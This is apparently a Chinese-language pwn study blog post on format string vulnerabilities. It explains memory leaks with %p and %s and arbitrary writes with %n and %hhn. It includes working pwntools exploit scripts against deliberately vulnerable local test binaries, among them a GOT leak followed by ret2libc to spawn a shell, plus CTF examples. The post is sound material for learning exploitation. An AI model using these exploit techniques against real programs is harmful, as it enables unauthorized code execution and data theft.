【pwn学习】格式化字符漏洞

什么是格式化字符漏洞

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分。

格式化字符串函数

  • 输入:scanf

  • 输出:
    在这里插入图片描述

格式化字符串

基本格式

%[parameter][flags][field width][.precision][length]type

在pwn中需要关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • length
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16进制无符号整数
    • o,8进制无符号整数
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量

那么上面这些有什么用呢,以下面示例程序为例

// test.c
// gcc test.c -m32 -o test
#include <stdio.h>

int main(int argc, char *argv[])
{
        printf("Color %s, Number %d, Float %4.2f");
        return 0;
}

在printf中,并没有提供参数,运行会发生什么呢

root@kali:~/ctf/Other/pwn/fmtstrTest# ./test
Color !{��, Number -5021172, Float -13609363015660276767861975804845741867148812000057244728627349647521205925006820418315482418654746428935787248312989741686623617507326100836271030992971258520059038764468552397903024091741864220914512543638279560963003911187719312179301466854378314065568140994293458123131936020891717710705342044204066406400.00

程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量依次解析。

利用

泄露内存

  • %X$p:泄露栈上第X个位置的值

    • X为任意正整数
  • addr%X$p: 泄露任意地址的数据

    • 假设格式化字符串函数调用为栈上第X个参数,

    • addr为要泄露的地址

    为什么addr%X$p可以泄露任意地址数据?
    将payload写入程序后,输入的内容,即addr地址将写在栈上的某个位置,我们假设它在第X个位置,这时利用%X$p泄露栈上第X个位置的地址存储的内容就可以泄露地址addr的数据了

    以下面的程序为例

    // test2.c
    #include <stdio.h>
    #include <unistd.h>
    void foo(void)
    {
            printf("bbbb");
    }
    
    int main(int argc, char *argv[])
    {
            char buf[100];
            read(0, buf, 100);
            printf(buf);
            return 0;
    }
    

    这段程序中有段字符串bbbb,我们先利用静态分析获取这段字符串的存储地址(我的实验环境中是0x0804a008),然后泄露这个字符串的字符串内容

    from pwn import *
    
    conn = process('./test2')
    
    # 0x0804a008输入后将位于栈上第7个位置
    payload = p32(0x0804a008) + b'%7$s'
    conn.sendline(payload)
    print(conn.recv())
    

    运行后获取输出,可以发现输出了0x0804a008地址处的字符串

    [+] Starting local process './test2': pid 92179
    b'\x08\xa0\x04\x08bbbb\n'
    

例题 利用格式化字符串漏洞获取libc基址

以下面程序为例题

// test3.c
// gcc test3.c -m32 -no-pie -fno-stack-protector -o test3

#include <stdio.h>
#include <unistd.h>

void vul(void){
      char buf[40];
      char buf2[20];
      puts("hello");
      read(0, buf, 40);
      printf(buf);
      read(0, buf2, 100);
}

int main(int argc, char *argv[])
{
      vul();
      return 0;
}

1. 查看安全策略
[*] '/root/ctf/Other/pwn/fmtstrTest/test3'
  Arch:     i386-32-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x8048000)
2. 静态分析

静态分析,没有发现危险函数,也没有能用的字符串

反汇编,发现vul函数中第二个read存在栈溢出问题,同时printf存在格式化字符串漏洞

...|           0x080491a9      6a28           push 0x28                   ; '(' ; 40|           0x080491ab      8d45d0         lea eax, dword [var_30h]|           0x080491ae      50             push eax|           0x080491af      6a00           push 0|           0x080491b1      e87afeffff     call sym.imp.read|           0x080491b6      83c410         add esp, 0x10|           0x080491b9      83ec0c         sub esp, 0xc|           0x080491bc      8d45d0         lea eax, dword [var_30h]|           0x080491bf      50             push eax|           0x080491c0      e87bfeffff     call sym.imp.printf|           0x080491c5      83c410         add esp, 0x10|           0x080491c8      83ec04         sub esp, 4|           0x080491cb      6a64           push 0x64                   ; 'd' ; 100|           0x080491cd      8d45bc         lea eax, dword [var_44h]|           0x080491d0      50             push eax|           0x080491d1      6a00           push 0|           0x080491d3      e858feffff     call sym.imp.read...
3. payload

根据静态分析,利用一次格式化字符串泄露libc基址+溢出获取shell。

首先确认格式化字符串在栈中的位置,

root@kali:~/ctf/Other/pwn/fmtstrTest# ./test3helloaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-aaaa0xffbdf378-0x28-0x804918e-(nil)-(nil)-0x8048034-0xf7ef1a28-0xf7ef0000-0xf7f21230-0x61616161-0x252d7025-0x70252d70-0��ro

aaaa在栈中第10个位置

然后利用格式化字符串漏洞泄露函数的实际位置,从而获取libc。这里以泄露read的地址为例

payload_1 = p32(read_got) + b'%10$s'

之后可以从响应的内容中获取read的实际地址

read_addr = u32(conn.recv()[4:8])  # [0:4]是read_got的地址,[4:8]是read_got存储的值

打印出来的长度可能是不同,因为这里是以%s即字符串的格式打印的,因此会一直打印到字符串被截断,例如\x0a这样的截断字符。

之后就是利用LibcSearcher获取libc,然后获取system/bin/sh

4. Write up
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
conn = process('./test3')

elf = conn.elf
func_name = 'read'
leak_got = elf.got[func_name]
print(hex(leak_got))

conn.recvuntil(b'hello\n')
# leak libc base
payload = p32(leak_got) + b'%10$s'
conn.sendline(payload)
recvstr = conn.recv()
leak_addr = u32(recvstr[4:8])
print(f'Get leak address: {hex(leak_addr)}')

libc = LibcSearcher(func_name, leak_addr)
libc_base = leak_addr - libc.dump(func_name)

# getshell
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x44 + 0x4)
payload += p32(system) + p32(0) + p32(binsh)
conn.sendline(payload)
conn.interactive()

覆盖内存

上面演示了利用格式化字符串漏洞泄露栈地址和任意内存地址,下面来学习如何进行内存的覆写。

主要利用的是

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
  • %Yc%X$n: 将Y写入栈上第X个位置指针指向的位置
    • Y:Y为要写入的数据
    • X: X为任意正整数
    • 进一步向任意地址写,addr%(Y-4)c%X$n

栈地址覆盖

以下面的程序为例

// test4.c// gcc test4.c -m32 -no-pie -fno-stack-protector -o test4#include <stdio.h>int a = 123, b = 456;int main() {  int c = 789;  char s[100];  printf("%p\n", &c);  scanf("%s", s);  printf(s);  if (c == 16) {    puts("modified c.");  } else if (a == 2) {    puts("modified a for a small number.");  } else if (b == 0x12345678) {    puts("modified b for a big number!");  }  return 0;}

首先确认格式化字符串在栈上的位置,如下所示,在栈上的第6个位置

root@kali:~/ctf/Other/pwn/fmtstrTest# ./test40xffc3a29caaaa%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa0xffc3a238-0xf7f69410-0x8049199-(nil)-0x1-0x61616161-0x252d7025-0x70252d70-0x2d70252d
  • 尝试打印modified c分支,

需要把c的值从789改写为16。程序返回了c的地址,利用向任意地址写的方法,把c的地址写入栈中,然后向该地址赋值。

from pwn import *
context.log_level = 'debug';
conn = process('./test4')
c_addr = int(conn.recvuntil(b'\n').split(b'\n')[0], 16)
# c_addr占4个字节,所以额外加上12个字节,最终向c_addr指向的空间赋值16
payload = p32(c_addr) + b'%12c' + b'%6$n'
conn.sendline(payload)
print(conn.recv())

小数覆盖

利用radare获取a和b的地址

[0x08049070]> iE
[Exports]
Num Paddr      Vaddr      Bind     Type Size Name
...
048 0x00003028 0x0804c028 GLOBAL    OBJ    4 b
...
062 0x00003024 0x0804c024 GLOBAL    OBJ    4 a
...

下面尝试走到a==2的分支。

如果还用之前的方式,写入的地址最少要占4位,因此最小只能赋值4。

这里我们尝试把地址放到后面的位置。

赋值2,要写作aa%X$n, 把2赋值给第X个位置指针指向的位置。这个字符串长度为6,不是4的倍数,所有还要补全两个字符,再加上a的地址。这样最终a是落在了栈上第8个位置。

最终构造的paylaod应该为aa%8$nbb\x20\xc0\x04\x08

构造write up

from pwn import *
context.log_level = 'debug';
conn = process('./test4')
c_addr = int(conn.recvuntil(b'\n').split(b'\n')[0], 16)

payload = b'aa%8$nbb' + p32(0x0804c024)
conn.sendline(payload)

print(conn.recv())

大数覆盖

尝试走到b == 0x12345678分支的话,需要赋值一个很大的数,这时候直接向栈中写入这么多的数据肯定是不太方便的。利用hhh参数逐字节写入

hh 单字节
h  双字节

我们以单字节的方式写入,b的地址是0x0804c028,逐字节写入后的数据分配应该如下所示

0x0804c028 	\x78
0x0804c029	\x56
0x0804c02a	\x34
0x0804c02b	\x12

因此随着构造payload,字符串长度是逐渐增长的,因此要按照从小到大的顺序填充字节,这里要从高位向地位填充

payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn'	# 当前总长度=24, 字符长度0x12

下面填充次高位。填充后面的时候要注意,因为这是一次发送的payload,因此填充后面的时候,前面的字符串长度也要算上。

前面的字符串长度已经有24个字节,因此次高位的地址会写入第25-28个字节,这样对应的就是栈中的第12个位置(24/4 + 6)。

构造次高位的字符串时要注意不能包括%6$hhn的长度,因此接下来还要填充的字符串个数是次高字节需要的总字节数 - 填充上一字节已经构造的字节数 - 次高字节地址位数

因此次高地址这里后续还有payload要填充,因此要对齐地址,因此这里添加了三个b,使得总长度为4的倍数。

payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb' # 当前总长度=68

接下来填充次低位。构造方法和上面类似,不过添加字符的时候要记得把bbb这三个对齐字节的长度减去。

payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb' # 当前总长度=108

最后填充低位

payload += p32(0x0804c028) + b'a'*(0x78- 0x56 - 4 - 2) + b'%33$hhn'

构造write up

from pwn import *
context.log_level = 'debug';
conn = process('./test4')

payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn'
payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb' 
payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb'
payload += p32(0x0804c028) +  b'a'*(0x78- 0x56 -4 -2) + b'%33$hhn'
conn.sendline(payload)

print(conn.recv())

轮子

覆盖任意地址时需要大量计算填充的长度,栈的位置等等,还是挺麻烦的。不过早有大佬造好了轮子,就是pwntools中的FmtStr类

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

  • offset(int): 字符串的偏移,从1开始

  • writes (dict): 注入的地址和值,{target_addr : change_to, }

  • numbwritten (int) : 已经由printf函数写入的字节数,默认为0

  • write_size : 逐byte/short/int写入,默认是byte

from pwn import *
context.log_level = 'debug';
conn = process('./test4')

# a
# payload = fmtstr_payload(6, {0x0804c024:0x2})

# b
payload = fmtstr_payload(6, {0x0804c028:0x12345678})
conn.sendline(payload)

print(conn.recv())

通过改工具也能学习更简短的payload构造方式

payload = '%18c%17$hhn' + b'%34c%18$hhn' + b'%34c%19$hhn' + b'%34c%20$hhn' + p32(0x0804c02b) + p32(0x0804c02a) + p32(0x0804c029) + p32(0x0804c028)

X64中的利用

pwn200 GoodLuck 为例

64位程序中使用的是fast_call调用,前6个参数是通过寄存器传播的。所以我们无法像之前一样通过输入aaaa%p%p这样确定栈中的偏移位置。

首先通过gdb确定flag到esp的偏移地址是4

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b0rzCRR2-1640838294999)(img/fmtStr1.png)]

然后通过gdb获得输入aaaa时,栈指针指向的是位置存储的是0x61000001, 记下来用之前的方法寻找0x61000001

root@kali:~/ctf/Other/pwn/fmtstrTest# ./goodluck 
what's the flag
aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p
You answered:
aaaa0x21ec480-(nil)-0x7f9e3664cf33-0xe-0xffffffffffffff80-0x61000001-0x21ecca0-0x21ec2a0-0x7ffdea1a7790

可以发先出现在第6个位置,因此flag的对应的偏移位置就是9。下面利用格式化字符串任意读的方法获取flag。

root@kali:~/ctf/Other/pwn/fmtstrTest# ./goodluck 
what's the flag
%9$s
You answered:
{this is flag!}
������
But that was totally wrong lol get rekt

fmtstr_payload中numbwritten参数

axb_2019_fmt32 这道题中,输入的数据不是对齐的.

root@kali:~/ctf/buuctf/pwn# ./axb_2019_fmt32 
Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-
Repeater:aaaa0x804888d-0xffc745df-0xf7eda0c0-0xf7f0a8fc-(nil)-0x3f-0x61000001-0x25616161-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-

可以看到输入的四个a中,第一个a在栈中第7个位置,后面三个a落在了第八个位置。
同时程序给用户的输入加入了Repeater:的前缀字符串。
综合上述情况,就需要用到numbwritten参数。

# 添加一个字符,后面的将完整的落入栈中第八个位置,因此payload要先输入一个字符a
# 添加的字符a,加上字符串‘Repeater:'的长度为10,因此numbwritten为10
payload = b'a' + fmtstr(8, {target_addr: addr}, 10)
  • 6
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值